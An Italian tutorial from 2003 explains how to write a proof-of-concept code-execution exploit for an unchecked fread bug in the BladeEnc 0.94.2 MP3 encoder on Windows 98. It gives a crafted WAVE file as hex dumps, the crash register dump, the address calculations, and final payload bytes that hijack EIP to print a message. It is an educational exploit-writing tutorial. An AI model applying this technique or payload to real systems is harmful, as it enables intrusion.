Articoli Manifesto Tools Links Canali Libri Contatti ?
Sicurezza / Exploits

Scrivere un exploit dimostrativo di esecuzione di codice su Windows

Abstract
Come funzionano gli exploit sotto windows? E perché sono così pericolosi? In questo articolo vediamo un esempio passo per passo.
È propedeutica la conoscenza dell'assembly 80386.
Data di stesura: 11/02/2003
Data di pubblicazione: 23/02/2003
Ultima modifica: 04/04/2006
di Luigi Auriemma Discuti sul forum   Stampa

Introduzione

Quello che vorrei descrivere in questo articolo, altro non è che un modo (il più semplice possibile) per poter scrivere dei buoni proof of concept per quelle vulnerabilità che permettono di eseguire codice su una macchina vittima.
La vulnerabilità a cui mi riferisco dovrà avere come requisiti:
  • possibilità di utilizzare qualsiasi byte (quindi anche NULL bytes)
  • deve essere causata dalla lettura non controllata di bytes da un file
L'ultimo requisito non è indispensabile, ma è utile per sapere bene a cosa ci si riferisce in questo articolo, perché l'esempio che proporrò tratta proprio tale problema.

Con il termine proof-of-concept intendo un exploit, che dimostri che la vulnerabilità esiste davvero e, per fare ciò, di solito si cerca di far eseguire al programma vulnerabile un'altra applicazione o (come uso io) far apparire un messaggio di testo od un MessageBox.

Per maggiore comprensione riporto come esempio il bug di Bladeenc 0.94.2 (un encoder MP3 multipiattaforma) che ho scoperto e reso pubblico a fine Gennaio 2003, riferendomi esattamente alla versione i586 per Windows scaricabile da qui: http://www2.arnes.si/~mmilut/BEnc-0942-Win-i586.zip[1] (l'MD5 di bladeenc.exe è 957900f20fa2addff2c15d7ceb64b4cd)

L'exploit verrà scritto per girare SOLO su Win98! Per gli altri sistemi operativi Microsoft la procedura è la stessa, l'unica differenza riguarda gli indirizzi di memoria.

Questo "tutorial" non è stato scritto per persone che abbiano una determinata conoscenza su tali nozioni ma vuole essere abbastanza dettagliato e semplice in modo che chiunque sia minimamente interessato all'argomento non si perda in esempi troppo complicati o in exploit complessi che dipendono da vulnerabilità ancor più complesse.
Dopotutto questo genere di exploit di cui parlo è semplicissimo da realizzare, quindi dopo la prima volta di solito ci vogliono pochi minuti per scrivere un buon dimostrativo senza perderci troppo la testa.
Ho preferito essere molto dettagliato con gli esempi e le spiegazioni quindi il documento è un po' lungo ma penso sia meglio qualche riga in più invece che tralasciare qualcosa.

Cosa bisogna conoscere

Trattandosi di un exploit di esecuzione di codice un requisito fondamentale dovrebbe essere la conoscenza dell'Assembly, ma non c'è bisogno di conoscerlo a fondo. Dopotutto noi vogliamo un exploit dimostrativo di buon effetto, in poco tempo e con poco lavoro mentale.

I registri dei processori x86 che ci interessano al momento sono 2:

  • EIP (puntatore all'istruzione successiva): esso punta alla posizione del codice in memoria che dovremo eseguire.
  • ESP (puntatore allo stack): esso punta alla zona dati in memoria.

L'EIP ci servirà perché dovremo sovrascriverlo con l'indirizzo della zona di memoria in cui finirà il nostro codice che vorremo far eseguire sul computer vittima.
L'ESP è appunto il puntatore a questa zona di codice e tramite esso sapremo dove è finito il nostro codice.

Per l'esecuzione del codice invece ci appoggeremo alle funzioni usate dallo stesso programma, quindi anche senza conoscere bene l'Assembly ci basterà soltanto copiare la parte di codice del programma che ci interessa (ad esempio quella di visualizzazione di una stringa) e cambiare gli indirizzi che usa con quelli a nostra disposizione (ad esempio l'indirizzo in memoria della stringa da visualizzare).
Naturalmente l'ultima cosa sarà terminare il programma, ma tutto ciò verrà trattato nelle sezioni successive.

Cosa ci serve

  • Un disassemblatore: per sapere "cosa" fà il programma. Esso è utile soprattutto nel momento in cui vogliamo copiare una funzione già usata dal programma vulnerabile e riprodurla nel nostro codice.
  • Editor esadecimale: essenziale... serve per modificare il file che verrà letto dal programma vulnerabile
  • Calcolatrice esadecimale: calc di Windows è perfetta
  • Bladeenc 0.94.2 i586 per Win: (guardare l'Introduzione)
Opzionale:
  • Un debugger: per poter "seguire" il codice e soprattutto conoscere il valore dei registri x86 e soprattutto per poter scorrere la memoria
Sia come disassemblatore che come debugger uso W32Dasm (http://members.home.net/w32dasm/[2]) con cui mi trovo molto bene ed è semplicissimo da usare.
Come editor esadecimale, uno vale l'altro (XVI32 è molto comodo e lo si può trovare qui: http://www.chmaas.handshake.de[3])

Primo passo (cosa non và in Bladeenc?)

Il problema di Bladeenc è nell'utilizzo di un numero intero con segno anzichè di uno unsigned per poter leggere i dati in un file.
Ciò comporta che il programma dovrà leggere una porzione di dati ma questa "porzione" potrebbe essere negativa, ossia invece di leggere 80 bytes il programma dovrà leggerne -80.

Il problema comunque non è tanto in questa "svista" quanto nel non controllare che qualcosa è andato storto in lettura.
Nel file samplein.c di Bladeenc, alla funzione myFseek() linea 627 troveremo un bel "fread (dummy, offset, 1, fp);" che non viene controllato.
Difatti la funzione fread() ritorna il numero di bytes che sono stati letti, e se essi sono 0 o minori dei bytes che si volevano leggere, vuol dire che la lettura è fallita o che semplicemente il file è terminato precocemente.
In questo caso è meglio segnalare l'errore all'utente e far terminare il programma immediatamente.

Invece in tutto il programma non c'è una sola funzione fread() (e non solo essa) che venga controllata, quindi se volete cercare altri bugs che comportino l'esecuzione di codice la cosa potrebbe rivelarsi molto più semplice e veloce di quanto pensiate.

Insomma avremo in mano un programma che continuerà a leggere imperterrito dati dal file finché uno di questi dati (una DWORD, ossia 32 bits) sovrascriverà l'indirizzo di ritorno della funzione myFseek().
Quindi l'ultima riga ("return 0; }") invece di ritornare all'istruzione "fFmtChunkFound = TRUE;" che si trova alla riga 336 del file samplein.c subito dopo la chiamata a myFseek(), ci porterà dritti dritti verso l'indirizzo contenuto nella DWORD che è stata letta dal file.

Questo, grosso modo, è ciò che accade per colpa di una lettura di troppo e per risparmiare qualche millisecondo di tempo CPU e qualche riga di codice.

Secondo passo (preparare il file WAVE)

Siamo quasi pronti per iniziare, dobbiamo solo realizzare un file WAVE minimale che possa essere letto da Bladeenc.

Questo è quello che ho usato io:

0000000: 5249 4646 cc12 0000 5741 5645 666d 7420  RIFFÌ...WAVEfmt
0000010: ffff ffff                                ÿÿÿÿ
La struttura di riferimento dei file WAVE è la seguente:
Offset Bytes Funzione
0      4     GroupID: "RIFF"
4      4     Group size: (di solito filesize - 8)
8      4     Riff type: "WAVE"
12     4     ChunkID (il "cattivo" in questo caso e' "fmt ")
16     4     Chunk size: ossia l'"offset" usato in myFseek()
... (il resto non ci interessa)
Come possiamo vedere l'unico parametro da cambiare è il Chunk size del chunk "fmt " che è proprio la variabile int offset usata dalla funzione vulnerabile myFseek().

Ora non ci resta che aggiungere un po' di bytes al nostro file possibilmente usando caratteri differenti che possano facilmente essere individuabili quando dovremo girare nella memoria dello stack:

Ad esempio:

0000000: 5249 4646 cc12 0000 5741 5645 666d 7420  RIFFÌ...WAVEfmt 
0000010: ffff ffff 7175 6573 7465 2072 6967 6865  ÿÿÿÿqueste righe
0000020: 2073 6572 7669 7261 6e6e 6f20 6164 2069   serviranno ad i
0000030: 6465 6e74 6966 6963 6172 6520 6920 6279  dentificare i by
0000040: 7465 7320 6368 6520 6669 6e69 7261 6e6e  tes che finirann
0000050: 6f20 6e65 6c6c 6f20 7374 6163 6b20 6564  o nello stack ed
0000060: 2069 6e20 7061 7274 6963 6f6c 6172 6520   in particolare 
0000070: 6120 6368 6520 706f 7369 7a69 6f6e 6520  a che posizione 
0000080: 7369 2074 726f 7661 206c 6120 4457 4f52  si trova la DWOR
0000090: 4420 6368 6520 736f 7672 6173 6372 6976  D che sovrascriv
00000a0: 6572 6127 206c 2745 4950 2c20 7475 7474  era' l'EIP, tutt
00000b0: 6f20 6368 6961 726f 3f90 9090 9090 9090  o chiaro?.......
....
(aggiungete almeno 300 bytes, insomma abbondare non fa' mai male in
questo caso)
Personalmente quando ho dovuto creare il primo exploit per questo bug ho usato un normale file wave grande 5 Kb (difatti il Groupsize 0x12cc appartiene ad un file wave di 4820 Kb) che ho trovato casualmente nel mio Hard-disk.

Terzo passo (debugging: EIP ed ESP in memoria e sul file)

Finalmente si inizia.
Abbiamo una minima conoscenza di cosa va storto in Bladeenc, abbiamo un file wave che fa comparire il problema, ora ciò che ci manca sono gli indirizzi EIP ed ESP ed i loro "corrispettivi" nel file wave.
Questo esempio si basa SOLO su Windows98 in quanto l'ESP cambia da un sistema operativo all'altro (non ci sono differenze tra Win98 prima edizione e special edition).
Per gli altri sistemi operativi Microsoft la procedura è la stessa, l'unica differenza riguarda appunto gli indirizzi di memoria.

Come è stato detto nel "Primo Passo" nel file wave c'è la DWORD che verrà usata come indirizzo di ritorno dalla funzione myFseek().

Eseguiamo il programma:

bladeenc file.wav
Se usiamo Win98 comparirà la classica schermata di errore critico con tanto di dump dei valori dei registri del processore.
Eccoli tutti quanti:
BLADEENC ha provocato un errore di pagina non valida nel
modulo <sconosciuto> in 0000:63636363.
Registri:
EAX=00000000 CS=0167 EIP=63636363 EFLGS=00010202
EBX=61616161 SS=016f ESP=0069e888 EBP=007c0770
ECX=00000057 DS=016f ESI=62626262 FS=120f
EDX=000001c1 ES=016f EDI=004268a0 GS=0000
Byte all'indirizzo CS:EIP:

Immagine dello stack:
64646464 65656565 66666666 67676767
68686868 69696969 70707070 71717171
72727272 73737373 74747474 75757575
76767676 77777777 78787878 79797979
Ottimo stavolta siamo stati abbastanza fortunati in quanto il nostro codice si trova proprio dove punta ESP, ma altre volte ci toccherà spendere 2 minuti in più col debugger.

Quello che ci interessa è:

EIP=63636363 (in quanto io ho usato "cccc")
ESP=0069e888
Immagine dello stack: 64646464 65656565 66666666 67676767...

Ricordatevi che i processori x86 sono 32bit little-endian, quindi i caratteri che avete usato nel file, in memoria si trovano capovolti di 4 in 4 (ad esempio: "ciao" diventa "oaic", "1234" diventa "4321", "ciccione" diventa "ccicenoi" e così via).

L'EIP ci fà capire dove si trovano i bytes interessati nel nostro file wave, ossia all'indirizzo 0x00000130 (in quanto proprio a quella posizione c'è "cccc").
ESP, da come si può vedere, punta direttamente ai bytes del nostro file che sono finiti in memoria, nulla di più facile 8-) Tali bytes iniziano dall'offset 0x00000134 del nostro file wave, proprio subito dopo l'EIP.

Ricapitolando, ora abbiamo: EIP, ESP e posizione nel file del codice dimostrativo da eseguire.

Se il debugger è d'obbligo (opzionale)

Nel caso specifico di Bladeenc non è necessario usare un debugger in quanto la semplice schermata di errore critico di Win98 ha già tutto ciò che ci serve.
Se invece nell'immagine dello stack non riconosciamo nessuno dei bytes che abbiamo nel file o più semplicemente vogliamo fare un lavoro fatto bene e controllare che tutto sia a posto, dobbiamo avviare il nostro debugger preferito o comunque poter vedere e scorrere la memoria che è intorno allo stack pointer (0x0069e888 appunto)

Usando Wdasm32 non dovremo far nient'altro che lanciare il debug di Bladeenc tramite "Debug->Load Process" inserendo il percorso del nostro file wave.

Continuiamo l'esecuzione del programma tramite Run (F9) finché non ci si para davanti un MessageBox che ci avverte di una "eccezione" e ci mostra l'indirizzo EIP corrente dove si è verificato il problema.

Ora invece di dare il SI od il NO al MessageBox di errore che è comparso dobbiamo prima mettere in pausa l'esecuzione del programma con il tasto Step Over (F8) o Step Into (F7). Dopodiché selezioniamo il NO. (NON usate il bottone Pause!)

Perfetto abbiamo la posizione di EIP nel nostro file wave che è 0x00000130 e possiamo vedere nella finestra di W32Dasm a sinistra che dall'indirizzo ESP (0x0069e888) ci sono tutti i bytes che partono da dopo l'indirizzo EIP nel file (ossia da 0x00000134 in poi).

Se avete il debugger davanti agli occhi e Win98 dovreste ritrovarvi i miei stessi valori.

Se invece dove c'è [ESP+00000000] non c'è nessun byte presente nel nostro file, vuol dire che dobbiamo scorrere in giù con PGDOWN la memoria dello stack (quindi da [ESP+00000004] in poi).

Prima o poi troveremo i nostri bytes ed a quel punto non dovremo far nient'altro che eseguire una breve somma, ossia [ESP+indirizzo_bytes].
Il risultato di tale addizione dovrà essere considerato come un "nuovo" indirizzo ESP (per farla breve è l'indirizzo di memoria dove inizia il nostro codice quanto viene caricato in memoria e che per comodità preferisco considerarlo come un nuovo indirizzo ESP).

Vi assicuro che è molto più difficile da spiegare che da eseguire.

Quarto passo (gli ultimi preparativi)

Ci servono le ultime 2 cose per poter scrivere il nostro codice:
  • una funzione che visualizzi un messaggio
  • una funzione per terminare il programma
La prima funzione si può trovare con un debugger oppure guardando il listato Assembly del programma.
Difatti in tutti (o quasi) i programmi c'è una funzione che mostra a video una stringa se si tratta di un programma per console o di un MessageBox o simile se usa le API di Windows.

Il nostro caso vede l'utilizzo di una stringa per console quindi affrettiamoci a trovare una funzione che faccia ciò all'interno del programma.

Ci sono diversi metodi per trovarla:

  • il disassemblatore se è "serio" ci mostrerà tutte le stringhe che vengono richiamate da ogni funzione di visualizzazione
  • con l'editor esadecimale troviamo una stringa che sappiamo verrà visualizzata e prendiamo l'offset del primo carattere (che è sempre preceduto da un byte NULL).
    Dopodiché con un semplice convertitore real->virtual address ricaveremo l'indirizzo che tale stringa assumerà in memoria quando il programma verrà eseguito.
    Non è compito di questo articolo descrivere l'utilizzo di un programma simile, comunque RVA (http://linux20368.dn.net/protools/files/utilities/rva.zip[4]) vi sarà di prezioso aiuto.

La funzione da "copiare" che ci servirà per Blade la troviamo all'indirizzo 0x0040c9e0, dove viene chiamata più volte per poter visualizzare diverse linee di testo.
Quello che fà è semplicissimo in quanto è un fprintf():

0x0040c9e0 carica, all'indirizzo puntato da ESP, il puntatore alla stringa che vogliamo visualizzare
0x0040c9e7 mette su EAX il puntatore che si trova a 0x00461240 (penso che riguardi la specificazione di stdout)
0x0040c9ec crea un puntatore ad EAX all'indirizzo ESP+4
0x0040c9f0 finalmente chiama la funzione di visualizzazione
Dopodiché dobbiamo trovare la funzione per terminare il programma e qui ci viene in aiuto KERNEL32.ExitProcess che si trova all'indirizzo 0x00414be0 ed è uguale ai bytes: ff1524d04100.

Quinto passo (impastiamo gli ingredienti...)

Finalmente abbiamo tutti gli "ingredienti", quindi dobbiamo solo creare l'impasto che nel nostro caso è il file wave con il codice da eseguire sulla macchina vittima.

Per nostra fortuna la semplicità delle operazioni non comporta l'utilizzo di alcun assembler, quindi dobbiamo solo utilizzare una calcolatrice esadecimale (calc di Win ad esempio) per calcolare gli indirizzi delle stringhe o delle funzioni da chiamare.

Per prima cosa però iniziamo col preparare il nostro file wave nel seguente modo:

  • all'offset 0x00000130 del nostro file (dove viene sovrascritto l'EIP) inseriremo l'indirizzo di ESP o comunque l'indirizzo dove inizia il nostro codice in memoria (ossia 0x0069e888).
    IMPORTANTE: i processori x86 utilizzano il metodo little-endian quindi qualsiasi indirizzo andrà scritto invertendo i 4 bytes: 0x0069e888 --> 0x88e86900
  • copiamo tutti i bytes che vanno da 0x0040c9e0 a 0x0040c9f5 nel nostro file partendo dall'offset 0x00000134
  • copiamo i bytes per terminare l'applicazione: ff1524d04100
  • scriviamo un messaggio di qualsiasi lunghezza che termini con un byte NULL finale
  • puliamo tutto il resto del file usando il byte 0x90 che corrisponde al NOP (no operation, serve per occupare spazio senza eseguire nulla)
Il nostro file wave ora dovrebbe essere simile a questo:
0000000: 5249 4646 cc12 0000 5741 5645 666d 7420  RIFF....WAVEfmt
0000010: ffff ffff 9090 9090 9090 9090 9090 9090  ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000040: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000050: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000060: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000070: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000080: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000090: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000a0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000b0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000c0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000d0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000e0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000f0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000100: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000110: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000120: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000130: 88e8 6900 c704 2400 3746 00a1 4012 4600  ..i...$.7F..@.F.
0000140: 8944 2404 e84a 8200 00ff 1524 d041 000a  .D$..J.....$.A..
0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f  .Ciao a tutti so
0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374  no codice dimost
0000170: 7261 7469 766f 2038 2d29 0a0a 00         rativo 8-)...

Sesto passo (ricalcoliamo gli indirizzi)

Gli indirizzi da ricalcolare facendo riferimento alla posizione del nostro codice in memoria sono:
  • l'indirizzo della nostra stringa
  • l'indirizzo della funzione di visualizzazione
Per calcolare l'indirizzo dell'istruzione successiva o di qualsiasi indirizzo nel nostro file non dobbiamo far altro che eseguire:
ESP + indirizzo_nel_file - ESP_nel_file
Esempio: la nostra stringa si trova all'offset 0x0000014f, ESP è 0x0069e888 e l'ESP nel file si trova a 0x00000134 (in pratica da dove partono i bytes che vanno in memoria).
0x0069e888 + 0x0000014f - 0x00000134 = 0x0069e8a3
Ciò significa che quando il nostro codice andrà a finire in memoria la nostra stringa si troverà esattamente all'indirizzo 0x0069e8a3.

Invece l'indirizzo della funzione di visualizzazione è già noto ed è 0x00414c3f.

Se volessimo disassemblare il codice nel nostro file wave, avremmo:

0x00000134: mov dword ptr [esp], indirizzo_stringa
0x0000013b: mov eax, dowrd ptr [00461240]
0x00000140: mov dword ptr [esp+04], eax
0x00000144: call 00414c3f
0x00000149: call dword ptr [0041d024]
Ora sostituiamo il puntatore alla vecchia stringa nella prima funzione con quello alla nostra stringa:

La prima istruzione che prima era: c7042400374600, ora diventerà: c70424a3e86900.

Invece la quarta istruzione richiede un indirizzo relativo, e non assoluto, che si calcola così:

ind_destinazione - ind_istruzione_successiva
Per calcolare l'indirizzo in memoria dell'istruzione successiva ci affidiamo all'operazione che abbiamo eseguito prima per trovare l'indirizzo della stringa:
0x0069e888 + 0x00000149 - 0x00000134 = 0x0069e89d
(ESP_mem   + istr_5     - ESP_file)
Ed ecco il nostro indirizzo relativo:
0x00414c3f - 0x0069e89d = FFD763A2
Quindi la quarta istruzione che prima era: e84a820000, ora diventerà: e8a263d7ff.

Settimo passo (finalmente si mangia!)

Finalmente possiamo dire di avere TUTTO!

Ecco il file wave completo:

0000000: 5249 4646 cc12 0000 5741 5645 666d 7420  RIFF....WAVEfmt
0000010: ffff ffff 9090 9090 9090 9090 9090 9090  ................
0000020: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000030: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000040: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000050: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000060: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000070: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000080: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000090: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000a0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000b0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000c0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000d0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000e0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
00000f0: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000100: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000110: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000120: 9090 9090 9090 9090 9090 9090 9090 9090  ................
0000130: 88e8 6900 c704 24a3 e869 00a1 4012 4600  ..i...$..i..@.F.
0000140: 8944 2404 e8a2 63d7 ffff 1524 d041 000a  .D$...c....$.A..
0000150: 0a43 6961 6f20 6120 7475 7474 6920 736f  .Ciao a tutti so
0000160: 6e6f 2063 6f64 6963 6520 6469 6d6f 7374  no codice dimost
0000170: 7261 7469 766f 2038 2d29 0a0a 00         rativo 8-)...
Avviamo il programma e godiamoci l'output:
C:\install\blade>bladeenc file.wav

BladeEnc 0.94.2    (c) Tord Jansson            Homepage: http://bladeenc.mp3.no
===============================================================================
BladeEnc is free software, distributed under the Lesser General Public License.
See the file COPYING, BladeEnc's homepage or www.fsf.org for more details.



Ciao a tutti sono codice dimostrativo 8-)


C:\install\blade>
Eh eh, ciao mio caro amico "codice dimostrativo" 8-)

Conclusioni

Quello che abbiamo visto oggi è uno dei modi più semplici per creare un exploit dimostrativo che faccia eseguire codice ad un programma vulnerabile.

L'unica parte un po' più "noiosa" e "complicata" riguarda il calcolo degli indirizzi in memoria e la conversione a volte da assoluti in relativi, ma dopo le prime volte diventerà quasi una cosa "spassosa".

Spero siate arrivate a leggere fino a qui, ma più di tutto spero che queste 600 righe di articolo/tutorial abbiano suscitato interesse in qualcuno.

Ricordatevi comunque che questo genere di vulnerabilità è molto semplice per eseguire codice, e le cose cambiano drasticamente quando si ha a che vedere con vulnerabilità differenti come ad esempio buffer overflow di stringhe char in cui non si possono usare bytes NULL, o peggio quando la porzione di codice che verrà caricata in memoria è troppo piccola ed in molti altri casi in cui o si cerca di prendere la cosa come una "sfida" contro se stessi oppure si preferisce abbandonare la realizzazione del proof-of-concept.

Se avete domande, commenti o correzioni non esitate a scrivermi! (aluigi@pivx.com)

Informazioni sull'autore

Luigi Auriemma, classe 80, vive in provincia di Milano. Appassionato di computers e "cacciatore di bugs" in qualsiasi applicazione soprattutto quando è annoiato. Sostenitore di tutto ciò che sia libero, dal software Open Source alla "Full Disclosure". Il suo sito web è http://aluigi.altervista.org/.

È possibile consultare l'elenco degli articoli scritti da Luigi Auriemma.

Altri articoli sul tema Sicurezza / Exploits.

Risorse

  1. L'encoder, "vittima" dell'exploit.
    http://www2.arnes.si/~mmilut/BEnc-0942-Win-i586.zip
  2. Disassemblatore e Debugger per MS-Windows (shareware).
    http://members.home.net/w32dasm/
  3. Editor esadecimale.
    http://www.chmaas.handshake.de
  4. Utilità per convertire gli indirizzi reali in indirizzi "virtuali".
    http://linux20368.dn.net/protools/files/utilities/rva.zip
  5. Buffer overflow: spiegazione tecnica ed esempio pratico
    http://www.siforge.org/articles/2003/04/15-bofexp.html
Discuti sul forum   Stampa

Cosa ne pensi di questo articolo?

Discussioni

Questo articolo o l'argomento ti ha interessato? Parliamone.